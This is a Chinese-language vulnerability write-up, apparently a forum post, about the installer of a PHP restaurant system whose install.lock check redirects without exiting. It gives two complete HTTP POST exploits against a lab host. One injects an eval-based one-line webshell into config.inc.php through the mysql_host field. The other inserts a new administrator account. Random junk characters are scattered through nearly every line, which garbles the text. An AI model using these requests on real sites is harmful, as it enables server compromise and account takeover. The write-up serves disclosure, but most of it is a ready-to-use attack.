问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。( z1 p) x3 \) D/ `7 |" t6 E
; T, @( i+ A+ n$ q3 X- a0 d5 G<?php7 Z' P4 P5 T: N% c. s( @
if(file_exists("../install.lock"))
/ k2 e% i6 @/ ?: t) f{
% t) h5 \( c& E+ o4 i/ U' N6 v header("Location: ../");//没有退出
# y8 y/ e2 D7 L& r$ I. M}) h; C" P2 D- j, `" u* j& r' x1 ?0 Z
& ~+ d" t' }5 |& v8 G* D//echo 'tst';exit;. K$ f4 y6 h( d" G6 ^3 q7 D
require_once("init.php");
k7 }( k% f7 c* P/ E& V2 \if(empty($_REQUEST['step']) || $_REQUEST['step']==1)+ ^& l- _! k; c9 C, u6 j) z
{' D b6 E: C9 {- d+ U5 G, w
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。9 @$ t' B* i. r0 Q/ v" ]' T
5 t' L6 Z8 b+ g1 A7 g: T1、getshell(很危险)
9 b8 _4 H- [2 [0 y- V0 O4 \0 tif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
$ X/ {, O3 Q" A$ D- v{
. N. _, H$ R# I) G3 ?. v% ]$smarty->assign("step",1); {& a3 L: r$ M* |
$smarty->display("index.html");
, q$ c/ R! W2 V8 k}elseif($_REQUEST['step']==2)
+ k: m4 W$ V- R# |{; q. P5 U# }& x
$mysql_host=trim($_POST['mysql_host']);
* ?4 e Z* e5 u $mysql_user=trim($_POST['mysql_user']);4 M6 ? @+ V% W7 ?2 l/ P4 |5 s
$mysql_pwd=trim($_POST['mysql_pwd']);
+ g q6 x1 D6 ?. N! h7 {; i $mysql_db=trim($_POST['mysql_db']);- G. d) `9 v5 y0 k! Z# |
$tblpre=trim($_POST['tblpre']);# s6 t: h: U7 J: u# ^
$domain==trim($_POST['domain']);. I! c; h2 n* ~9 V$ h$ M
$str="<?php \r\n";% {5 P, z* w7 [8 ]4 z; D' z
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
! n8 l n1 v9 H7 l $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
6 o5 M) k( q; T! Y# N6 F# r8 p $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
s' s: h, I1 Y8 d5 J2 m $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
( x# Q9 G$ R3 d' p. A6 s $str.='define("MYSQL_CHARSET","GBK");'."\r\n";' F! a/ b4 ~2 Q2 U; c
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";: A- p( {6 x" K' u, C7 h0 j/ y3 o5 ^
$str.='define("DOMAIN","'.$domain.'");'."\r\n";7 ~" _7 W6 \& m% m) d5 \
$str.='define("SKINS","default");'."\r\n";
# w& Z6 J' }, g $str.='?>';
0 K" M, [/ i" C file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件* [; d4 X* K" L+ S9 m, N+ i/ u+ a# \
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
a, y& u9 u/ Z, pPOST /canting/install/index.php?m=index&step=2 HTTP/1.16 V+ m5 d+ ~& h4 P7 h
Host: 192.168.80.129& K9 Y& E) W" t0 X* i7 @7 Z
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0, P; X2 h. C* A; q j
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.88 F Z7 i6 {# K8 n M# J
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.38 R L% C9 \/ @5 L; |$ b5 p
Accept-Encoding: gzip, deflate
, e/ X7 @6 O% MReferer: http://192.168.80.129/canting/install/index.php?step=1( N% D' A. d8 @& P6 {$ H/ {( d- H
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42% s3 c+ S. ~$ d- o& _7 `2 o$ B9 t, u
Content-Type: application/x-www-form-urlencoded
3 o) i& S+ ]+ S0 h# \" tContent-Length: 126
- m) V! l5 s4 q- |; t6 N+ q
- q/ E4 ?, f: |& ^mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
0 ]8 f# j& P: O o4 s- V+ w8 q但是这个方法很危险,将导致网站无法运行。) L1 L: j& n: z( `: i
( o6 F+ a: F3 o! X- G [6 H' z! D2、直接添加管理员
% }: z0 ?# `2 N* O- D* j) Q1 s0 N) Q! i4 z
elseif($_REQUEST['step']==5)
5 H$ f( v5 |0 x' X( q{
3 s7 w, p b$ f6 X6 }# m- t u9 k if($_POST)( q0 `( X8 ?; a- v1 W* Q, l
{ require_once("../config/config.inc.php");
+ C* ]& N- A8 |3 s8 J( L3 y# [ $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);% T8 m; t: d- j+ Z7 B
mysql_select_db(MYSQL_DB,$link);7 s: Y1 I5 o1 b! ~, N
mysql_query("SET NAMES ".MYSQL_CHARSET );4 c( c$ \" m7 q
mysql_query("SET sql_mode=''");
3 m( C$ n$ s: p) ?, Q. _% A# }% v9 z6 \/ O1 X0 O' N
$adminname=trim($_POST['adminname']);
' B) M2 T% m2 V" U- x $pwd1=trim($_POST['pwd1']);3 m" n; Y3 y! i1 A
$pwd2=trim($_POST['pwd2']);, e8 p* L0 K$ h- n# h
if(empty($adminname))
/ O: T+ q$ @6 W {
# @# r2 S3 u/ l h& f- Y
, o7 K# N% m- [8 j echo "<script>alert('管理员不能为空');history.go(-1);</script>";& ^& S( L$ A/ A, x3 [- J
exit();2 t* x9 r) d ~; G0 g. R
}, b, v* P: y* Y8 d6 ?( b
if(($pwd1!=$pwd2) or empty($pwd1)) \/ {6 l8 M( b/ n1 k
{
# j3 P! Y! l4 o" h" {% M echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
9 t1 D' o3 o# J }- `; ~ l- ^! _' P: ^4 `
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员% O! r& \2 c M2 y
}) S" Y" t5 X7 G0 d8 [- Q4 G( H
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:* ]0 r j/ I& Y& l! ^% U! A, s
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
4 _7 B+ z) M( l: H* dHost: 192.168.80.129
6 Y: q( f# m) |) r" @! |User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0, v+ p; E2 |, X- K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
k4 A- i3 V, d- v& `Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
" v0 w5 x4 \2 H; v5 \; s) VAccept-Encoding: gzip, deflate
% d4 ?8 e. {! @" AReferer: http://www.2cto.com /canting/install/index.php?step=1
$ \) S( ^! H0 A& i; Y2 H8 B+ BCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42* M7 M( l a. O) X4 b
Content-Type: application/x-www-form-urlencoded8 B8 |4 Y& E4 Q! n: [
Content-Length: 46
, f9 S3 b: E' e: _9 {1 y1 H * x* l; {& ]% h$ \: e( H8 I0 @4 R
adminname=qingshen&pwd1=qingshen&pwd2=qingshen% g, ~9 |' b* A& E4 S3 h$ U) ^$ T
|